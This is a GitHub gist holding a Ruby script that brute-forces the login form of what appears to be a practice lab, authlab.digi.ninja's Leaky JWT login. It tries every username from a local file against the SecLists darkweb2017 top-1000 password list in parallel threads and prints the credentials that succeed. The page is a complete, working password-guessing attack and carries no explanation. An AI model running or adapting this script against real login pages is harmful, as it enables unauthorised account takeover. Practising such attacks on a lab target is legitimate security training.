Skip to content

Instantly share code, notes, and snippets.

@ugnius-s
Created September 4, 2019 23:47
Show Gist options
  • Select an option

  • Save ugnius-s/fa98862e4b9b3b7f8d764498c52cc868 to your computer and use it in GitHub Desktop.

Select an option

Save ugnius-s/fa98862e4b9b3b7f8d764498c52cc868 to your computer and use it in GitHub Desktop.
require 'http'
require 'parallel'
uri = "https://authlab.digi.ninja/Leaky_JWT_Login"
userlist = File.readlines('users.db').map(&:strip)
passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip)
Parallel.each(userlist, in_threads: 10) do |user|
Parallel.each_with_index(passlist, in_threads: 10) do |pass, index|
response = HTTP.post(uri, form: { username: user, password: pass })
if response.cookies.cookies.to_s.include?('Login+Success')
puts "[!] Found valid username: #{user} and password: #{pass}"
end
sleep 1
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment